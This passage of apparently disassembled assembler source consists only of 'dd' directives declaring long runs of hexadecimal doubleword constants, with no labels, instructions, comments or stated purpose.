		dd 0AC89E913h, 409A9043h, 4421DCA9h, 998805D6h,	1D550153h
		dd 776F47B5h, 1CE02A04h, 0E0420719h, 6E0A565Dh,	0A2B10384h
		dd 0D7BC11F4h, 3BE9B60Eh, 0A1BE1860h, 0D35C9E5Ah, 785503C3h
		dd 0AD59D2F3h, 16719030h, 0B0A10033h, 0C7750798h, 0A000D9FAh
		dd 6D736F4Fh, 0E8B563h,	60EC685Ah, 0D856DB06h, 0E9BF8001h
		dd 9FE34C7Dh, 2B38420h,	0BD07321Bh, 9482B6D0h, 4013537h
		dd 0A99279B9h, 442820B4h, 8801D422h, 9AE3D70Dh,	77E84808h
		dd 26AB0BDBh, 3C2479BAh, 805E49CFh, 3FA45668h, 654E0754h
		dd 0F9C059BFh, 34F66C03h, 6E2F281Eh, 20B813h, 2DA8627h
		dd 0B50E13DFh, 5CC0B3FAh, 0CE801F62h, 0A9DC40CFh, 2F3240h
		dd 0BC5B0AF8h, 0CDB2C5Ch, 88387A31h, 9C2D0548h,	549C2722h
		dd 1CC4C9h, 7C5660E3h, 9BDE5CC3h, 925E673Ah, 640B3FEEh
		dd 844032B3h, 305322B8h, 167EEE74h, 0A2DF8700h,	5382EBA6h
		dd 277008h, 60B3A05Ch, 0B6B1CC12h, 325DBC1Ah, 2C900841h
		dd 92ABB701h, 60F23A20h, 58556568h, 2F853472h, 0ABA80E63h
		dd 8CEEC944h, 0A900C2F4h, 2B4173C8h, 22F303h, 0B9350567h
		dd 5C1B0496h, 6D509F60h, 2AECD99Dh, 680DAFEh, 0B7687958h
		dd 17167903h, 7832962Fh, 36001658h, 122D9264h, 0A6559F7h
		dd 341C8C9Fh, 161114h, 0D50ADDF2h, 2C667E45h, 0C1403D3Ah
		dd 508439C9h, 25927008h, 0CE1B003h, 0A0E338BEh,	9B5E5BDh
		dd 0DE1F985Ah, 0A0E60CC8h, 0FFA46D00h, 0F65D16D0h, 59CE004Ah
		dd 0CA573A0Dh, 9D4C5069h, 0E6810730h, 0CDB5B386h, 8CC36040h
		dd 0B1208D3Fh, 171E91CCh, 7488B703h, 0CEBF487h,	7FCB5D25h
		dd 6D063FE1h, 10D1B338h, 186E0029h, 773F3DAh, 3438BB46h
		dd 16A28127h, 7D0159ABh, 0EC2F786Ch, 2D5E84A0h,	0BC3ED86Fh
		dd 13ED2FF6h, 148022D4h, 5CBE1E26h, 9FA293C3h, 0EF31F3C0h
		dd 40054E5Eh, 0B1FA7BD8h, 0D02FB407h, 120C105Fh, 298E6A1h
		dd 52ECD479h, 0D4902D6Ch, 193FB3B9h, 700B2C1Ch,	8802C28h
		dd 0D618EE65h, 9493344h, 113B004Ah, 6936D56Dh, 2C00D7E2h
		dd 0EE0B333Ch, 91208E0Ch, 0B2348084h, 0C604D745h, 4329EA03h
		dd 0E7525E38h, 0C359A640h, 44F890E7h, 7A2E074Dh, 71163030h
		dd 0B817A452h, 0C0B4D850h, 731FC4DFh, 5D91039Dh, 0B68F92A5h
		dd 2D6D62B0h, 0AF812701h, 64523950h, 0D4D7807Eh, 0FC16BC0Bh
		dd 0FCD0FD45h, 7A6A3363h, 7FDD0720h, 60F15F69h,	0C8351294h
		dd 9CE7912Eh, 9E011C11h, 0EF152267h, 0C0335Fh, 860B2DCCh
		dd 0B9E931h, 3A6F338Ah,	0C0297EDh, 7DB39B09h, 0D4C40Dh
		dd 177C64E0h, 693D218h,	4183D903h, 88154AAEh, 12B40D95h
		dd 0C38B36EEh, 4690DF78h, 2F00500Ch, 37BD0161h,	275D0D1Fh
		dd 0E419EBC6h, 808028B0h, 0BA0CFD84h, 0F8EF00DCh, 8F5F135h
		dd 2B01F2EDh, 28F3E6A6h, 0AC55249Ch, 3DCBD88Ch,	72000730h
		dd 604E026Ch, 320001E7h, 0CDEAC33Fh, 12E5D54h, 9A66416Eh
		dd 32863C59h, 74D61A20h, 7E904E91h, 92B28B84h, 5E2C905Ah
		dd 0EE9DACB5h, 213981Dh, 45D01830h, 7E147234h, 59B1027Eh
		dd 160A1E88h, 0A90490E6h, 14512FFDh, 384CCCCEh,	17BB1271h
		dd 467420FEh, 5271B42Ch, 0B55D5F1Ch, 0AA3F0DC1h, 0B43C2392h
		dd 2B22C5CFh, 9BE0E5FAh, 18997555h, 0DAF2EA05h,	90200CC9h
		dd 0ECF18A2Ch, 0E1387700h, 0F91B70h, 817DB1E4h,	5EDA12Eh
		dd 0FA039302h, 0C2DD95E8h, 0EC2C02E8h, 0DAA492FDh, 0CE00A8FCh
		dd 36AA0750h, 1A3240BDh, 8CB105FCh, 585C8830h, 6E686600h
		dd 324842D3h, 0CCAF78CBh
		dd 453846A0h, 0D455280Ch, 0C13108h, 871A5DBFh, 11F6EE8Ah
		dd 0C5EA2000h, 9F88FA37h, 0D6D00E5h, 0EDF41D5h,	0A0A4FD3Eh
		dd 4F0492FAh, 0D577F2CDh, 0EE14B4h, 0E70D1956h,	9FEC382h
		dd 0F0983916h, 21380832h, 22D60C3Ah, 0F87776A8h, 0CD9C9E00h
		dd 0D95F0241h, 38645535h, 9E6D40E2h, 55F8C5BDh,	6840F5CAh
		dd 1DB1004Ch, 1FE140B4h, 591E69B5h, 0A0EE68E0h,	8E0C592Dh
		dd 0A8A8BCFCh, 0A1E1932Eh, 56C6EC07h, 4439EAC7h, 4654A69Ch
		dd 9048EBh, 66C56B35h, 3ED818BDh, 304CD624h, 8E0BC14h
		dd 14409C48h, 9180E1D5h, 80999EE5h, 7904132Fh, 3A512943h
		dd 6B1F3CB3h, 0AE9BDD22h, 0C8AB674Ch, 0F5D1B685h, 44B40C92h
		dd 1E100538h, 0FFDF9DFDh, 0DDA84EC0h, 73200E3Ah, 0D3608712h
		dd 3E58D67Ch, 31D15600h, 0ADA63516h, 1876F94Bh,	55FC0A00h
		dd 50487B1Fh, 0DA20CB00h, 0E3C24508h, 0B087004Bh, 77A5C7E6h
		dd 1E15C99Bh, 80B41CB5h, 0D0B4AE1h, 0E5CB1DC6h,	0FA968234h
		dd 9C435972h, 0E2A95E88h, 3FC2ED00h, 9EB99D06h,	1D203DCFh
		dd 0A4915F25h, 5B4FE433h, 0E9E6C900h, 0FFC59645h, 0B8966Ch
		dd 0D355EB75h, 93506EF6h, 39C03484h, 0E7E8E2C1h, 45D70975h
		dd 0B8821FCh, 7E8081A4h, 0E8D9AB7Ch, 0F507DC49h, 8890E03Ah
		dd 0B5F2BB87h, 1E2CD845h, 1689AA04h, 0C0D0106Ch, 5644AF3Ah
		dd 7A197E04h, 70E0286Bh, 57F0C159h, 9F1E9D7Dh, 5A496C40h
		dd 46E820A8h, 0C7E9EDh,	0B5096B14h, 582EAB81h, 0C121B863h
		dd 0C3478A04h, 0C1D08AF8h, 402AD474h, 5AFCF8Ch,	4800832Eh
		dd 106220C3h, 25A05A79h, 74290CD1h, 0DF009C59h,	0C633D0ADh
		dd 0FDEF0705h, 1B1AB9C2h, 5E9BFE81h, 0AE4D205Bh, 9034272Dh
		dd 3F9D6388h, 1CD839C8h, 6E007922h, 7D4C8799h, 1D167E60h
		dd 0C02FECBFh, 0E3081E68h, 0C8BEB2EBh, 2C2E0761h, 5A41D7C7h
		dd 602F0F2Dh, 1024FDA4h, 7A3C4B04h, 0BC8CAD17h,	555E8840h
		dd 0EFBDC704h, 58C7B602h, 5C1B5A21h, 237BF0h, 0EDE55413h
		dd 0DA9E88D4h, 73D5691Eh, 5008FC14h, 29C4220Ch,	74C8B71Fh
		dd 4BB04A04h, 8491B414h, 0AC157084h, 547D6900h,	0AD2E6DB2h
		dd 0FBB50025h, 4EC6A3C7h, 727071FEh, 685F33Bh, 3ED83536h
		dd 3D371716h, 0C6740F18h, 0D4F1F0BDh, 0A4FA805Ah, 55E3AF01h
		dd 0F83471DEh, 155D2EC8h, 0FC6CBCFDh, 296D3A00h, 1CC8AC6Eh
		dd 3FA93C00h, 31B1A641h, 24D3069Bh, 60E34D16h, 947F7C00h
		dd 7E9B5D9h, 0B3FA0919h, 46C1210h, 6B2D5000h, 7F036C48h
		dd 0B55A07A3h, 90C641E5h, 42BD7043h, 9A780A09h,	69AC00D5h
		dd 0F824EBC1h, 0A8F30116h, 5039F121h, 35D82064h, 5A8E4603h
		dd 0B0B1D54Dh, 2803FD93h, 98C8A707h, 0C0A4C8Dh,	0CBC850h
		dd 0C808BF7Fh, 0F4E8ED4Eh, 549B8914h, 2D0073E8h, 3B6C3E72h
		dd 4A03CEB3h, 9E8032AAh, 82ECA87Ah, 984B589Eh, 51B1046Ch
		dd 0FC33741Fh, 0DFEE7600h, 0AEA6BB2Bh, 92B5633Ah, 0D0E04C41h
		dd 0B204123Dh, 3588051h, 0B4904E7Ah, 88D41758h,	0D11821Dh
		dd 0BE60248Bh, 0C227E3E7h, 690C6046h, 984E983Ah, 81C08018h
		dd 9C2E3DBBh, 80F004A4h, 5C328D3Ch, 2D036D0Dh, 0F6776669h
		dd 5636D879h, 85F00D9h,	0BED4297Ah, 8576B3E6h, 0EDF90F0Eh
		dd 9D0C00FEh, 516CD5D2h, 103D8625h, 9C945C76h, 9C5984D0h
		dd 873BE800h, 5A02BE03h, 22569E0Bh, 0E010A1C5h,	8833119Ah
		dd 3D414200h, 0D09F58BFh, 39255C3Ah, 205D8477h,	20AC972Fh
		dd 6E1092E2h, 97298C9h,	2183873Ch, 2B032000h, 0F50008EBh
		dd 0FBD2CAEDh, 9D7AAFh,	0E33D20DEh, 36614B0h, 8EFCB248h
		dd 609B2A2Fh, 0C34E803Bh, 813CC1B5h, 0B16600EFh, 55CD5333h
		dd 0A8002C63h, 0F670C9ECh, 139E5B19h, 27D524DEh, 0E71AE0C0h
		dd 7300DFD3h, 2F2B6336h, 9C7CC56Fh, 725700A4h, 0B4035E6Ah
		dd 0B7817A65h, 0E4D2E4F4h, 0AC4C00B2h, 0EF51E780h, 2003C984h
		dd 573EB565h, 0EC46B0C0h, 59C726CDh, 3BE60234h,	7840624Ah
		dd 81E1229h, 48A6759Ah,	42112A1Ah, 9B140940h, 0E058CB38h
		dd 0DF9C4Eh, 45CDEF4Dh,	19C21886h, 6057EC2Eh, 42544127h
		dd 1215F448h, 0CE047h, 0C2D21BE4h, 3B04D6B5h, 489A9F66h
		dd 3A1F4CA3h, 20E8A5F3h, 3F8584Ah, 1A48FA00h, 427ED78Eh
		dd 0D9011FD3h, 511737h,	7CCC6C63h, 0AF4A794Ah, 8AB2D8C0h
		dd 0FA15F8F6h, 0E5BD076Ah, 0ACCA8Dh, 0D55F1AB1h, 6022642Eh
		dd 4AC0AA67h, 3C17EC72h, 0E1AD5214h, 253F82F6h,	932060F3h
		dd 500301E0h, 0D79BB492h, 800C7A5h, 5EA3C28Dh, 3F08D0C4h
		dd 0FF80FA8Bh, 0F760462Dh, 6C702F76h, 0CEF6438h, 408DD481h
		dd 349D1077h, 21017880h, 4A7FA954h, 3CD81971h, 4C07060Eh
		dd 71829E1Ch, 9F60D07Eh, 29F69C31h, 3357032Ch, 0CE1FA42Ah
		dd 90FC5918h, 1AC8C31h,	170133C4h, 7077E27Eh, 0FF41912h
		dd 0E92BC303h, 0E8239A70h, 0A0931CD1h, 44422D34h, 7900AC81h
		dd 0F20B8325h, 753CEE70h, 348800D6h, 3BAF4252h,	43280F71h
		dd 0A14488B7h, 9683004Ch, 0DDA2226Eh, 8189028h,	9E6187FCh
		dd 860E3E20h, 0AFED9780h, 53CDCFBh, 1C49070Ah, 1F384495h
		dd 8D039F69h, 0CCD37F3Fh, 31F0F486h, 0F8A18B42h, 9CA6C02Eh
		dd 0AFBE2802h, 603983D0h, 0CEA7E5Ah, 865B8A78h,	21309C51h
		dd 743B399Dh, 38D806D3h, 0B9AF4354h, 80C0293Dh,	0B7F8704h
		dd 0EC06CD2Eh, 355A000Fh, 3CEA4E05h, 0A507D577h, 0A42899D2h
		dd 422F9E40h, 588C61E4h, 808F578Bh, 0D8DEB671h,	1362720h
		dd 0FFB35480h, 0C4836824h, 2E0508A9h, 8E598ACBh, 9134500Eh
		dd 24743C03h, 0C0D463C3h, 70338FDFh, 877C5398h,	0DAA4D115h
		dd 4A2003F8h, 0B8CCF70Ah, 0CA7C51Fh, 0D1A4A6EEh, 43001721h
		dd 8BA0FA55h, 525A8A01h, 780AF491h, 45CCFF18h, 175380F1h
		dd 0BD00F416h, 3CD110B7h, 0C0A219C6h, 764ED499h, 0AC002A24h
		dd 31CA5339h, 4888825Ah, 433B201Eh, 0A7A0C16Eh,	0F2CA5DECh
		dd 69BE0100h, 4928E658h, 0D9B6003Ch, 91EF35D5h,	0B8035455h
		dd 97DF5153h, 0A080F7BDh, 17685ACh, 0D0A56BD6h,	0FC08690Eh
		dd 9C01E04Fh, 4EB32887h, 0DC484C01h, 9AD0023h, 0C63564E7h
		dd 19C1AA1Ch, 9A548BBFh, 81220023h, 0BCA48A7Ch,	6CB7800h
		dd 95C32FE2h, 418C977h,	0A1428C0Eh, 10464454h, 80FFC140h
		dd 19DE98A7h, 274C4F00h, 3F0E6922h, 1780C41Fh, 0AEEB5A8h
		dd 450704A1h, 7F97195Ah, 1C4E0700h, 9749190h, 0EC106E0Eh
		dd 0E2393B02h, 4D3DFBD0h, 20EE02F9h, 0A7DDA3D5h, 0E3A06FE8h
		dd 54F5442h, 0EDCCBAC8h, 0D8BC234Ch, 16479387h,	359781C5h
		dd 7FA08174h, 9F6F010Ch, 84389047h, 20FC97D4h, 1C38ED9h
		dd 16B5507Eh, 0F81D0774h, 20002F91h, 23DE336Fh,	0DC81D0BBh
		dd 9F6B0431h, 3700815Eh, 8FF02F77h, 7D9D003Dh, 0D8D174C6h
		dd 41535436h, 40DE20A0h, 2A002E97h, 8A0F96ADh, 9895A81h
		dd 0A93BA4CAh, 409C64A4h, 9837AB7h, 23651FD4h, 25BC80B2h
		dd 0C2A22FEDh, 24535004h, 60CCD1EEh, 0FC8B4543h, 770018C6h
		dd 4987315Ah, 0DB9330h,	4025C010h, 138FD4CAh, 0C6C6B12h
		dd 28916C07h, 0FB1ECBB0h, 0F8236382h, 0C1C2A429h, 9F44B064h
		dd 43F90368h, 0BACE3437h, 0B3F7908Fh, 0F0927BDh, 6A30E8Dh
		dd 1239D374h, 1F2050D4h, 0F86FD4E4h, 48059381h,	409057ABh
		dd 2197D2ADh, 3B0414ACh, 5A650E77h, 1814C884h, 0D0EA285Ch
		dd 9F58ACE0h, 31C63830h
		dd 8F432192h, 7C1C4180h, 3E0A42CFh, 9765F800h, 7DBC8AFDh
		dd 90CA002Ah, 622DA416h, 3044006h, 89D1E7ABh, 58C860C4h
		dd 0DABC583Ch, 33535700h, 282FEF06h, 0EBCCD816h, 0C2096C52h
		dd 0A43CA3C6h, 73900C4h, 0E569C2CDh, 0D0002A71h, 2C6DF86h
		dd 2F0E9ABh, 2E9D9497h,	0C724D770h, 26C44C43h, 0EEA62FF8h
		dd 6C7F9F00h, 0F7F65E06h, 2A09013Fh, 3A1DA456h,	9ECC528Eh
		dd 17E69520h, 466000DFh, 435DC109h, 670048E8h, 0C8C2AD65h
		dd 54518A52h, 99A6A4D9h, 0DFE90370h, 77E82932h,	2A0548A4h
		dd 0A37BA004h, 0A7A68806h, 0DF900F29h, 0C641B2FDh, 0EC3B2551h
		dd 20057385h, 781D80F8h, 0A318C404h, 0D507A543h, 2F77D900h
		dd 9A335F2Ah, 1F691E18h, 1027180Ah, 320867E5h, 0A37ABE0h
		dd 4F0C5F2Bh, 451C270Ah, 19C080CBh, 0C360A45Bh,	286B0661h
		dd 69C90362h, 7C73DA7h,	7372D2D0h, 1C523Ah, 7496D9EDh
		dd 0A886422Eh, 3D40EEBCh, 7A80438Ah, 0E624FCA8h, 3C76CA07h
		dd 0A0AEAF26h, 84702A88h, 4385FF3Bh, 0E097C61Dh, 71FC8CFBh
		dd 154A050Fh, 0C8E99FF3h, 54413A18h, 1C033C22h,	5102198Ah
		dd 30759DA9h, 2E734518h, 0AD79C90Ch, 0C494699Ch, 6523641h
		dd 3E9C2A4h, 759815F4h,	2CE03AECh, 5D7F845Ch, 58077301h
		dd 0E93B71ADh, 8CD37074h, 0C307F886h, 0A8651E99h, 3F3E26C1h
		dd 0E0D6319Eh, 5A21D400h, 5C30CAB7h, 0DADC24A3h, 248A67E8h
		dd 2DE4C11Eh, 1BC47467h, 0A7EF10F9h, 0D6B03C15h, 0D0A5BE14h
		dd 74A21A83h, 7C510BF0h, 3859D400h, 0A47965Ch, 53170041h
		dd 528AD871h, 7C0F3A4Bh, 1FAB84BBh, 2A0EB15h, 990D82Dh
		dd 904052A6h, 0C5600082h, 28669648h, 291D4E7Fh,	8669C41h
		dd 0D201AB11h, 726B3A3Ch, 43588A8Ch, 159DB483h,	0C140245Eh
		dd 674E16Ah, 8CDB2658h,	0DC2A8304h, 3B8F3E59h, 5C043C00h
		dd 0AB3CDE95h, 8A728B4h, 14A42B28h, 0ECD1772Eh,	154B0B38h
		dd 2B068334h, 1F08D890h, 0ABEE0771h, 902EA02Ah,	0C31035CDh
		dd 41C02B00h, 0D4ECF54Ah, 64D63AA6h, 5420F97h, 80AA6DD6h
		dd 51A1790Fh, 2024160Ah, 0AC18A6C3h, 5D3CE1h, 50B8FA44h
		dd 0F175D4DDh, 0EBC0C500h, 0BD86FEDCh, 0ADEE00BBh, 0B4D5AA6Ah
		dd 9E001C5Ch, 0C7DF0E04h, 763BB3E6h, 407F00EFh,	0B1BDABE1h
		dd 60004357h, 0FBA4A24Eh, 0F2060AB8h, 3C62E34h,	0E6B34034h
		dd 488883FCh, 0DB241229h, 94A48876h, 4D40BC03h,	0F0DEE2FEh
		dd 0B99A5A33h, 0E7BF029Ch, 28E40FC6h, 39894330h, 0C13E69h
		dd 6B9C5913h, 1C39C986h, 0F3119A00h, 54A223D5h,	29AF4445h
		dd 0D4D3C200h, 823310B5h, 90A78D5h, 0D8A4D0E1h,	1D300848h
		dd 47606D00h, 2CCA5851h, 0FCD12EB8h, 7018150h, 9911C4Dh
		dd 0F4606DC1h, 741384F2h, 2060C9DFh, 70DE0C8Fh,	10B6078Ah
		dd 0B5CB034h, 0D733C000h, 0D312DF29h, 4C88B72Dh, 0F0DB00F3h
		dd 756072E9h, 0FB1750C5h, 58223698h, 76772009h,	690F2E2Fh
		dd 0A43DB3EEh, 607C016h, 0AF5C72A7h, 0CC905042h, 2F24F52h
		dd 3BF8DB60h, 0A8AD07C6h, 2CD2B90h, 5FEC3328h, 38E0445Ah
		dd 9A8954E3h, 0C8940A10h, 990F5101h, 0ACC02C6Dh, 96A77B20h
		dd 3B3E8170h, 0D8F40696h, 0CA005B47h, 5E039E35h, 9184A20Ah
		dd 87430A0Ch, 74498090h, 0F8D60B93h, 57233400h,	4DB5030Ah
		dd 22BF125Ch, 630852C6h, 88E59C54h, 57788AE0h, 61406099h
		dd 545E93h, 0DDFAB18Eh,	19773CB3h, 7026974h, 17F0BD48h
		dd 0C6FC4008h, 8AA51273h, 8950D046h, 570A942Bh,	342D299Dh
		dd 89865C08h, 98662C9Ch, 0AE680F00h, 1CF98A56h,	84B10392h
		dd 618F1B55h, 882FAC2h,	1489400Fh, 0B67ED818h, 0BF1FC800h
		dd 864A9A37h, 0A79800D9h, 0D4631672h, 7014AC5Ch, 50AF4Bh
		dd 7733698Eh, 16A174B6h, 1E891F91h, 11ABD148h, 38587125h
		dd 6E72E3C0h, 87A014B5h, 2B00B7CEh, 4F69546Dh, 2E79DBE9h
		dd 40AC470Fh, 7AE1C304h, 5F3F9A09h, 6268C0D1h, 18CF2469h
		dd 1423A538h, 0B1B8AF0Eh, 8AD1022Dh, 0E23B1FD8h, 9CBC3A42h
		dd 2F2060D3h, 0E12418B3h, 925C38C9h, 0D6D58819h, 68943449h
		dd 541CD493h, 73568F21h, 0D33BB0D5h, 0A8992094h, 0AC9DCC02h
		dd 0B085E70Ah, 0B0081092h, 0C311441h, 9C0AE829h, 44888827h
		dd 989F45DFh, 0D961A500h, 585A8147h, 0BC810003h, 43955F8Bh
		dd 22E42D20h, 20B221DBh, 0EE91E826h, 5C97E800h,	5A71A8C9h
		dd 9B2E3113h, 39A5B348h, 83601D48h, 9C34FB47h, 85EB7500h
		dd 81A510B0h, 60FC3988h, 8027E471h, 66F0186h, 84C31BB7h
		dd 4382C0FEh, 0BA898560h, 0B066539Ah, 12630B3Ah, 14807213h
		dd 0AD7146B0h, 84AC5091h, 0D8A46104h, 28601F4Fh, 85B3B951h
		dd 0B08B8601h, 2F462942h, 4CD3A7F0h, 0A3B3406h,	6280A848h
		dd 0FC20CC2Bh, 5F4133Eh, 9CA18A78h, 465BF682h, 0AA42E9Ch
		dd 0D60740E8h, 0EC3E1BCBh, 0B1E150Eh, 0A8B05BF4h, 84363BB9h
		dd 0F8D9287h, 357BB069h, 0F560CCABh, 518C3110h,	829C3928h
		dd 54C6AA80h, 0A12EB1B9h, 33BE2000h, 44E55896h,	4C0F001Eh
		dd 0FB456A38h, 110FE61Ch, 801028ECh, 0F9E846BCh, 0EA6409EFh
		dd 410422Dh, 6D004FFBh,	7C8428E4h, 3C83F615h, 0FC12482Fh
		dd 2AA42325h, 71934194h, 0A0EBC226h, 7C7F9F07h,	0CC833EA5h
		dd 96A4281Eh, 0D2608DC1h, 19DCAC2Fh, 66985C1Ch,	0E7AC7700h
		dd 2C2FE8EAh, 5162EEFAh, 0ECB71408h, 0D1EB0C94h, 7C499A71h
		dd 59448C59h, 224848F8h, 0DAB6018Fh, 0FDC33BD4h, 0D258D417h
		dd 889A6424h, 0F5106701h, 70269730h, 0CD09A50Ch, 24EC669h
		dd 8A437C46h, 0F7390071h, 0BDCC5AA4h, 2E000216h, 64D9B3DCh
		dd 1C203513h, 8E50F0h, 7601E081h, 7A0F342Ch, 5C69CADh
		dd 0F0C092A7h, 148F57B7h, 88692A9Dh, 4187C588h,	0F4E03239h
		dd 62B911h, 54DAE3D1h, 5D10D235h, 0F219980Bh, 0F52883CEh
		dd 0B45040A8h, 240E84DCh, 201CAE2Ah, 0DE74B120h, 289A617Ch
		dd 0D6919DB4h, 806268A4h, 40B6F705h, 6DFFF207h,	0ECE0FB05h
		dd 0DD21FCh, 0A0E0A830h, 0C0E725A5h, 2AD37F02h,	87941CD2h
		dd 1AE99D0Ch, 497D6108h, 8317C4h, 0F3E5DC2Bh, 0B73C7AE2h
		dd 8A42A28h, 14A75428h,	971CD400h, 30662F23h, 827500D0h
		dd 34AF93C8h, 0DE0CD574h, 2429ADD9h, 0EF78BD96h, 0BDE77F0Dh
		dd 0F300583Ah, 2CDB05Ah, 0D82F9206h, 27E034EEh,	0E00F2CBh
		dd 4157C768h, 25F4CD4h,	0CA323ABh, 0A8DA4229h, 1038F400h
		dd 8ABDA01Eh, 24C31AFAh, 5C84084Fh, 0BA3C2026h,	5A42E2Eh
		dd 7004B4Ch, 3726EDBEh,	2CD9DC00h, 0A5C61BAh, 0B842182Fh
		dd 468B2885h, 9C948096h, 594C298h, 3FB85126h, 0A918E505h
		dd 0CA30CC35h, 802C2E39h, 88547DD0h, 7C430C74h,	0E84C4C36h
		dd 0A630C622h, 0D50149A4h, 640A00F2h, 3327E1D9h, 0E00122CEh
		dd 25C216DEh, 288F49B1h, 4BC76723h, 0FA99606Eh,	0D3EE902Bh
		dd 5450C600h, 7D8E395Bh, 0B1BD3CDCh, 32374300h,	0A3222DFDh
		dd 428A0809h, 0A4CC22EDh, 1088A0D0h, 4A2A5A4Ah,	6985C607h
		dd 0A733770Ch, 0B019A199h, 11A7059h, 0EDDCB0AFh, 0F823A012h
		dd 0C31805B5h, 75C4674Eh, 0D9CA0013h, 0E26B64D3h, 68B03AA8h
		dd 600C6851h, 7861AD8h,	0D5B5E8BCh, 5074C08Ch, 9A327F3Ch
		dd 0C206208Bh, 218CCC8h, 0D5CF9E44h, 60C41CA5h,	280FC628h
		dd 0D4AB1DF8h, 0AE7704E0h, 13A62B88h, 236E245h,	0DE2A58F6h
		dd 9D0C0881h, 388232Dh
		dd 0D1D909A7h, 77C0BD58h, 32B1191h, 6D0E60C1h, 0BFE05779h
		dd 2800E79Ch, 2C014CCBh, 50BD3CD0h, 0F044A7h, 8EE1F4EDh
		dd 13415470h, 0D1938200h, 0DD25DE2Bh, 3C560587h, 13A62A89h
		dd 140C1008h, 2007A512h, 9F7E7758h, 2F12D0B8h, 8496D3DBh
		dd 4DB30358h, 0DE8387EBh, 0DC084040h, 6B80D899h, 147561ECh
		dd 0E97701F3h, 6C5CFF25h, 8A088B92h, 0A6D81146h, 0B100683Dh
		dd 0D916E808h, 495A4406h, 1C5CD4F8h, 2BC92A88h,	10F065E8h
		dd 229650Eh, 0C2D0C4C2h, 3D74E5B4h, 0C92F200h, 950D5380h
		dd 0AA4E3F0Ah, 6D072483h, 0A9C06441h, 500F899Ch, 3D360845h
		dd 49E719C6h, 20712C43h, 0E49DE300h, 279F1EB3h,	0C3F601DAh
		dd 0E92EE74Bh, 0D05CCC83h, 7B59CC03h, 140633E8h, 0B0DF2BA0h
		dd 6508B0C0h, 0E239E58Ah, 0ED6B801Ch, 5B0709DCh, 0A078C835h
		dd 6408144h, 0D586BFE9h, 1840C02Eh, 0C651DE19h,	45CF1FAh
		dd 2F40D24h, 87889A5Ch,	1C8B85C4h, 0FDE8D8h, 88FA5421h
		dd 20243034h, 1339F00h,	83719D6Fh, 0FC6029D3h, 5D1DD0h
		dd 1B73BF4Ch, 0CA26FFB1h, 0DC083C69h, 0F78905ABh, 0EE7083C6h
		dd 806958h, 0D6CD4196h,	0F0CA65F6h, 8584B652h, 403CCB2Dh
		dd 5FAF5E30h, 0B9030B77h, 0F72F3DBCh, 335022DDh, 3B467096h
		dd 18CC001Eh, 350CA65Dh, 0F80645EBh, 62CA0391h,	8C2B5498h
		dd 58CD01B5h, 1FA5E3D6h, 77FC2456h, 8144A64Ch, 0BD5DF38h
		dd 0E9C0C3CDh, 0D8DB00FDh, 6D3AA0C4h, 52022046h, 0A4D32C05h
		dd 28BCA0D9h, 240156h, 0A0DD90B3h, 46472A8Eh, 0CA48220Bh
		dd 0B5958021h, 0B920508Bh, 822C0898h, 985D8A8Bh, 4BA5C350h
		dd 722C22CEh, 49B8444h,	38008611h, 0AEC7BA4Fh, 0B3266C1Ah
		dd 971F2C24h, 89915DC4h, 0E17D6C80h, 0A92B00ACh, 2144EE38h
		dd 64B9A70Dh, 0DE46B400h, 717C7B82h, 0B6BF0138h, 2801B2EDh
		dd 1B08EC69h, 0F7BA890Ah, 8311C0FBh, 0DB07BF00h, 0F504DAE1h
		dd 0C9C40F48h, 2DD0021Eh, 11B4548Fh, 1107008Eh,	49EFDC29h
		dd 0EEC9004Fh, 51E346E4h, 0BB161880h, 9080D607h, 7F8E54h
		dd 0AB0FAF8Fh, 0BCE6C3D0h, 0E22B0712h, 0A7ECA060h, 0C891D630h
		dd 2A01F7D8h, 97CFC767h, 0C040B74Eh, 32CD5Ah, 6C0DE84Ch
		dd 8E2B9D9Ch, 50554C84h, 689CE7B0h, 1EACA705h, 38C2C144h
		dd 8C48E0BEh, 0A7A45C94h, 0AF99E100h, 4D0EDD56h, 3E5C635Ch
		dd 0CF902B4h, 6031FF9Eh, 0FDE624h, 0E464522Eh, 0BFA5B32Ch
		dd 4678E5Fh, 46994BD0h,	0DDD00B9h, 25622307h, 0DA002E5Fh
		dd 723E1BF4h, 5C521D91h, 1852B4A1h, 876A0E00h, 3CBFF9A0h
		dd 0BC197107h, 1F11821Dh, 3870305Fh, 0A4E9C92Ch, 9CF61490h
		dd 72B2EA02h, 0C423C713h, 67289E04h, 0B04449A5h, 0BB80D499h
		dd 21CF4FCEh, 600F1E79h, 7C3E00E7h, 70F48E1Fh, 32F13FE9h
		dd 4FD2EC4Ch, 0D07C21A8h, 223ECC45h, 0C9167277h, 3C02B1B5h
		dd 64AC4CDDh, 65060250h, 0D5BF5C34h, 0AFC2E8C3h, 20D3CE20h
		dd 9A41A42h, 0EC60A1D2h, 0E2133C6Dh, 3401CB62h,	5806CA44h
		dd 2D00447Dh, 0E8F2C22Ah, 747C41CBh, 50110C98h,	2212B486h
		dd 0EBD490D0h, 1695A719h, 5E02E1B4h, 0C6379460h, 0C0B80D4Ch
		dd 8E6D7F4Fh, 18D12CA1h, 58982D58h, 210FBE2Bh, 809DF482h
		dd 0C73912A1h, 0F14B82Ah, 76ADF57Ch, 5633B183h,	0B323E8C8h
		dd 2F9D0A05h, 0A8DCD785h, 96560781h, 0BE414930h, 24188817h
		dd 49052E8h, 8001AF4Bh,	92FC3BA9h, 95E18910h, 30769326h
		dd 3756D600h, 0ECA168Dh, 38263594h, 30B38765h, 0A43B0CD8h
		dd 0A5C87407h, 91789ACh, 17F89079h, 80AC96AAh, 23445F4Dh
		dd 6090DACh, 0ECEF3460h, 189094h, 0A3575D7Fh, 0BE901BABh
		dd 25DA8B4Ch, 4D5420A7h, 8E7B10h, 36E6CDF6h, 0EDA515C2h
		dd 32BD4C04h, 30F2229Dh, 81CCFA80h, 0EC002013h,	7EBCC2EAh
		dd 315799E2h, 0C8A83B89h, 0F7B500A8h, 0E96498A4h, 0AD84A513h
		dd 0F77008Ch, 0D89057BBh, 0B0067284h, 30A6642Dh, 0E4D4498Fh
		dd 29050010h, 62ABBD68h, 0DF058FACh, 6F87DAF8h,	84A3588Ch
		dd 0D1CE10E5h, 41560E06h, 3460015Dh, 0E9FD989h,	2959B101h
		dd 61CAE7B4h, 0ABA7B888h, 5090A617h, 5A145A4h, 7AB1BAB4h
		dd 8568988Ah, 73C68E40h, 6D438904h, 0EA6200B0h,	2709D5CEh
		dd 0A95E26B0h, 0C5F70C3Bh, 31DF7FA8h, 9DF25840h, 95D2FB28h
		dd 314AA830h, 13CCC800h, 962CC92Dh, 0E7830051h,	0EA055EBBh
